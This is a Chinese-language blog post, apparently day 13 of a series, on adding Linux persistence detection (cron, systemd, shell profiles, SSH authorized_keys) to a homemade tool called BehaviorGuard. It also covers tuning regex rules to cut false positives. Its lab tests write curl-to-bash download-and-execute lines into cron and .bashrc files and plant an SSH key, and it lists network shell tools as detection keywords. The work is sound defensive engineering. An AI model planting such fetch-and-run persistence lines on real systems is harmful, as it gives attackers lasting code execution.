前幾天 BehaviorGuard 已經完成 Process、Command、Network、File Detection,也開始加入 File Telemetry、SHA-256、狀態變化偵測與 Alert Manager。
但做到這裡之後,我開始思考一個問題:
如果攻擊者已經進入系統,他會只執行一次惡意程式就離開嗎?
很多情況下不會。
攻擊者通常會想辦法讓自己之後還能再次進入系統,或讓惡意程式在重新登入、重新開機之後仍然可以再次執行。
這種行為就叫做:
Persistence(持久化)
Persistence 的目的很簡單:
即使原本的攻擊流程已經結束,攻擊者仍然可以透過某些系統機制,持續保留存取權限或讓惡意程式自動執行。
因此 Day 13 的目標,就是開始讓 BehaviorGuard 偵測 Linux 系統中的常見 Persistence 行為。
今天先選四種 Linux 上常見、而且和 File Detection 很適合整合的 Persistence 方法:
Cron Persistence
systemd Persistence
Shell Profile Persistence
SSH authorized_keys Persistence
這四種方法雖然用途不同,但有一個共同點:
它們很多時候都會透過「修改特定檔案」來完成。
所以我們可以直接利用 Day 12 已經完成的 File Telemetry,繼續往 Persistence Detection 發展。
整體流程變成:
Linux File System
↓
File Event
↓
Telemetry Enrichment
↓
File Detection
+
Persistence Detection
↓
Alert Manager
↓
Security Alert
也就是說,同一份 File Event 不只可以判斷:
「這是一個 Hidden File 嗎?」
也可以同時判斷:
「這個檔案是不是某種 Persistence 位置?」
Cron 是 Linux 中常見的排程機制。
它可以讓系統定期執行某個指令。
例如:
代表系統會依照排程執行指定的 command。
正常情況下,系統管理員可以利用 cron 做:
備份
Log Rotation
系統維護
定時執行 Script
但如果攻擊者修改 cron,例如:
那效果就完全不同。
這代表系統可能會定期:
下載 Script
↓
交給 bash
↓
執行
所以 cron 也可以被攻擊者拿來做 Persistence。
今天 BehaviorGuard 監控的 Cron 位置包括:
/etc/crontab
/etc/cron.d/
/var/spool/cron/
只要這些位置被建立或修改,就會產生:
BG-PERSIST-001
Cron Persistence
Severity : HIGH
實際測試:
echo '* * * * * root curl http://example.com/payload.sh | bash' \
/tmp/behaviorguard_test/etc/cron.d/update_job
BehaviorGuard 成功偵測:
Rule : BG-PERSIST-001
Name : Cron Persistence
Severity : HIGH
代表系統已經知道:
這不是普通檔案,而是一個可能影響排程執行的 Persistence Location。
如果只是看到:
/etc/cron.d/update_job
被建立,就直接判斷成攻擊,其實還是太粗糙。
因為正常系統管理員本來就可能會建立 cron job。
所以今天第二個重點,是讓 BehaviorGuard 不只看:
Path
還會看:
File Content
也就是實際讀取檔案內容。
例如:
curl http://example.com/payload.sh | bash
BehaviorGuard 會嘗試從內容中找到可疑 command,例如:
curl
wget
bash
sh
python
python3
nc
netcat
/dev/tcp
base64
chmod +x
如果 Persistence File 裡面出現這些 command,就會產生:
BG-PERSIST-005
Suspicious Persistence Content
Severity : HIGH
例如 Cron 測試中,BehaviorGuard 成功抓到:
Matched commands: curl, bash
這代表系統不是只知道:
「Cron 被修改了。」
而是進一步知道:
「Cron 裡面還出現下載與 Shell 執行相關 Command。」
這就比單純 File Path Detection 更有價值。
systemd 是 Linux 中很重要的系統服務管理機制。
很多 Service 都是透過:
.service
檔案來定義。
常見位置:
/etc/systemd/system/
例如正常 Service 可能有:
[Service]
ExecStart=/usr/bin/some_service
攻擊者也可能建立自己的 Service:
/etc/systemd/system/update.service
內容例如:
[Unit]
Description=Update Service
[Service]
ExecStart=/bin/bash /tmp/update.sh
[Install]
WantedBy=multi-user.target
這代表某個 Shell Script 有機會透過 systemd 被系統啟動。
因此新增:
BG-PERSIST-002
systemd Persistence
Severity : HIGH
BehaviorGuard 會偵測:
/etc/systemd/system/*.service
被建立或修改。
實際測試後成功產生:
BG-PERSIST-002
systemd Persistence
同時因為內容裡包含:
/bin/bash
所以 BG-PERSIST-005 也會一起產生。
這個設計讓 BehaviorGuard 可以分成兩層:
第一層:
Persistence Location 有變化
第二層:
Persistence File 裡面還出現可疑 Command
也就是:
位置風險
+
內容風險
Linux 使用者開啟 Shell 時,某些設定檔會被自動讀取。
例如:
~/.bashrc
~/.bash_profile
~/.profile
~/.zshrc
~/.zprofile
正常情況下,這些檔案可以設定:
環境變數
Alias
PATH
Shell 設定
但如果攻擊者加入:
curl http://example.com/start.sh | bash
那使用者之後開啟 Shell 時,就可能執行這段可疑 Command。
因此新增:
BG-PERSIST-003
Shell Profile Persistence
Severity : MEDIUM
測試:
echo 'curl http://example.com/start.sh | bash' \
/tmp/behaviorguard_test/home/kun/.bashrc
BehaviorGuard 成功產生:
Rule : BG-PERSIST-003
Name : Shell Profile Persistence
Category : Persistence
Persistence Type : Shell Profile
Technique : Shell Configuration Modification
Indicators : shell startup file change
Severity : MEDIUM
接著 Content Inspection 又抓到:
curl
bash
所以同時產生:
BG-PERSIST-005
Suspicious Persistence Content
Severity : HIGH
這代表 BehaviorGuard 已經可以同時判斷:
「這是 Shell Startup File」
以及:
「裡面有可疑 Command」
SSH Public Key Authentication 可以讓使用者利用:
Private Key
搭配:
authorized_keys
進行登入。
常見位置:
~/.ssh/authorized_keys
如果攻擊者成功把自己的 Public Key 加進這個檔案,就可能保留一條 SSH 登入管道。
因此新增:
BG-PERSIST-004
SSH Authorized Keys Persistence
Severity : HIGH
測試:
echo 'ssh-ed25519 AAAATESTKEY behaviorguard-lab' \
/tmp/behaviorguard_test/home/kun/.ssh/authorized_keys
BehaviorGuard 成功產生:
BG-PERSIST-004
SSH Authorized Keys Persistence
HIGH
這類事件值得注意,因為 authorized_keys 的變更可能代表:
新的 SSH 登入權限被加入。
今天第一個很明顯的問題,是 .bashrc 被錯誤判斷成 Hidden File in /tmp。
當時實際路徑是:
/tmp/behaviorguard_test/home/kun/.bashrc
原本 File Rule 直接看到:
/tmp/
所以判斷:
這是一個 Hidden File,而且它位於 /tmp。
結果產生:
BG-FILE-004
Hidden File Creation
但其實在我們的 Lab 裡:
/tmp/behaviorguard_test
只是模擬環境。
真正模擬的路徑應該是:
/home/kun/.bashrc
也就是說:
它雖然是 Hidden File,
但它並不是真的位於 /tmp。
這是一個典型 False Positive。
為了解決這個問題,我加入:
normalize_lab_path()
作用是把:
/tmp/behaviorguard_test/home/kun/.bashrc
轉換成:
/home/kun/.bashrc
再交給 Detection Rule 判斷。
所以流程從原本:
Raw Path
↓
直接判斷
改成:
Raw Path
↓
Normalize
↓
Simulated Real Path
↓
Detection
修正後:
BG-FILE-004
不再誤報。
但是:
BG-PERSIST-003
仍然正常產生。
這次讓我學到一個很重要的事情:
Detection Rule 不能只看資料本身,還要理解資料的 Context。
如果 Context 錯了,就算程式沒有 Bug,也可能產生錯誤 Alert。
Persistence Content Detection 一開始使用很簡單的:
if keyword in content
來找可疑 command。
例如內容:
/bin/bash /tmp/update.sh
本來希望抓:
bash
結果系統同時抓到:
bash
sh
原因是:
bash
本身包含:
sh
所以單純用 String Substring Matching 太粗糙。
這是第二個 False Positive。
為了解決這個問題,我把 Keyword Matching 改成 Regular Expression。
例如:
bash
不再只是:
"bash" in content
而是判斷它是不是一個真正的 Command Token。
這樣:
/bin/bash
可以命中:
bash
但不會因為 bash 裡面包含 sh,就同時誤判成 sh。
這比單純 String Matching 更精準。
修完 bash 之後,又遇到另一個問題。
測試內容:
curl http://example.com/start.sh | bash
BehaviorGuard 一開始顯示:
Matched commands: curl, bash, sh
這次的 sh 並不是來自 bash。
而是來自:
start.sh
也就是:
.sh
副檔名裡的:
sh
又被當成 Command。
這代表前一版 Regex 雖然比 Substring Matching 好,但還是不夠精準。
最後把 Regex 再調整一次。
讓 BehaviorGuard 不只是找:
有沒有 sh
而是判斷:
sh 是不是出現在一個看起來像 Command 的位置。
例如:
sh script.sh
會命中。
/bin/sh script.sh
會命中。
curl xxx | sh
也會命中。
但是:
start.sh
不應該命中。
最後重新測試:
curl http://example.com/start.sh | bash
BehaviorGuard 正確得到:
Matched commands: curl, bash
沒有再誤判成:
sh
這個過程其實就是 Detection Engineering 很重要的一部分:
Rule Tuning
Rule Tuning 可以理解成:
讓 Detection Rule 越來越準確。
不是只追求:
有沒有 Alert
而是還要考慮:
False Positive 多不多?
False Negative 會不會太高?
條件是不是太寬?
條件是不是太嚴?
Context 有沒有判斷正確?
在今天的測試中就遇到了兩種很典型的 False Positive:
第一個:
/tmp/behaviorguard_test/home/kun/.bashrc
因為 Lab Prefix 被誤判成真的 /tmp。
第二個:
start.sh
因為 .sh 副檔名被誤認成 sh Command。
這些問題如果不修,在真正環境裡就會一直產生沒有價值的 Alert。
久了之後可能造成:
Alert Fatigue
也就是分析人員看到太多無意義的 Alert,最後根本沒有辦法全部處理。
因此真正好的 Detection,不只是:
「抓得到」
而是:
「抓得準」
今天最後還把 Persistence Alert 補充更多欄位。
原本 Alert 大概只有:
Rule
Name
Severity
Action
Path
Description
現在增加:
Category
Persistence Type
Technique
Indicators
SHA256
例如:
========== BehaviorGuard Alert ===============
Rule : BG-PERSIST-003
Name : Shell Profile Persistence
Category : Persistence
Persistence Type : Shell Profile
Technique : Shell Configuration Modification
Indicators : shell startup file change
Severity : MEDIUM
Action : CREATED
Path : /tmp/behaviorguard_test/home/kun/.bashrc
SHA256 : ...
Description : A shell startup/profile file was created or modified
==============================================
BG-PERSIST-005 則會顯示:
Rule : BG-PERSIST-005
Name : Suspicious Persistence Content
Category : Persistence
Persistence Type : Suspicious Command Content
Technique : Persistence Command Inspection
Indicators : curl, bash
Severity : HIGH
這樣對後續做:
Risk Scoring
Correlation
Response
都會更方便。
因為後面的模組可以直接使用:
category
persistence_type
technique
indicators
severity
而不是一直從 Description 裡面解析文字。
今天完成:
BG-PERSIST-001
Cron Persistence
BG-PERSIST-002
systemd Persistence
BG-PERSIST-003
Shell Profile Persistence
BG-PERSIST-004
SSH Authorized Keys Persistence
BG-PERSIST-005
Suspicious Persistence Content
目前 BehaviorGuard 已經可以監控:
Cron
systemd
Shell Profile
SSH authorized_keys
並且對部分 Persistence File 做:
Content Inspection
整體架構現在變成:
Linux File System
↓
watchdog
↓
File Event
↓
Telemetry Enrichment
↓
Path Normalization
↓
├───────────────┐
↓ ↓
File Detection Persistence Detection
↓
Path Classification
↓
Content Inspection
↓
Regex Command Detection
↓
Rule Tuning
↓
└───────────────┘
↓
Alert Manager
↓
Structured Alert
這比前幾天單純的:
Event
↓
Rule
↓
Alert
又再多了一層。
今天最重要的第一個概念是:
Persistence
攻擊者不一定只想「執行一次」。
他可能會想辦法讓自己:
重開機後還在
重新登入後還能執行
定時重新執行
保留遠端登入方式
第二個概念是:
Persistence Location
有些檔案之所以重要,不是因為檔案本身特殊,而是因為它在 Linux 裡具有特殊用途。
例如:
/etc/cron.d/
→ 定時執行
/etc/systemd/system/
→ 系統服務
~/.bashrc
→ Shell 啟動
~/.ssh/authorized_keys
→ SSH Key Authentication
第三個概念:
Content Inspection
只知道檔案位置還不夠。
如果可以進一步知道裡面到底寫了什麼,就可以提高 Detection 的判斷能力。
第四個概念:
False Positive
Alert 並不是越多越好。
錯誤 Alert 太多,反而會降低安全分析效率。
第五個概念:
Rule Tuning
Detection Rule 需要不斷經過:
測試
↓
發現誤報
↓
找原因
↓
修改條件
↓
重新測試
這次我們就實際經歷了這個流程。
今天完成:
Cron Persistence Detection
+
systemd Persistence Detection
+
Shell Profile Persistence Detection
+
SSH authorized_keys Detection
+
Persistence Content Inspection
+
Regex Command Matching
+
Path Normalization
+
False Positive Reduction
+
Rule Tuning
+
Structured Alert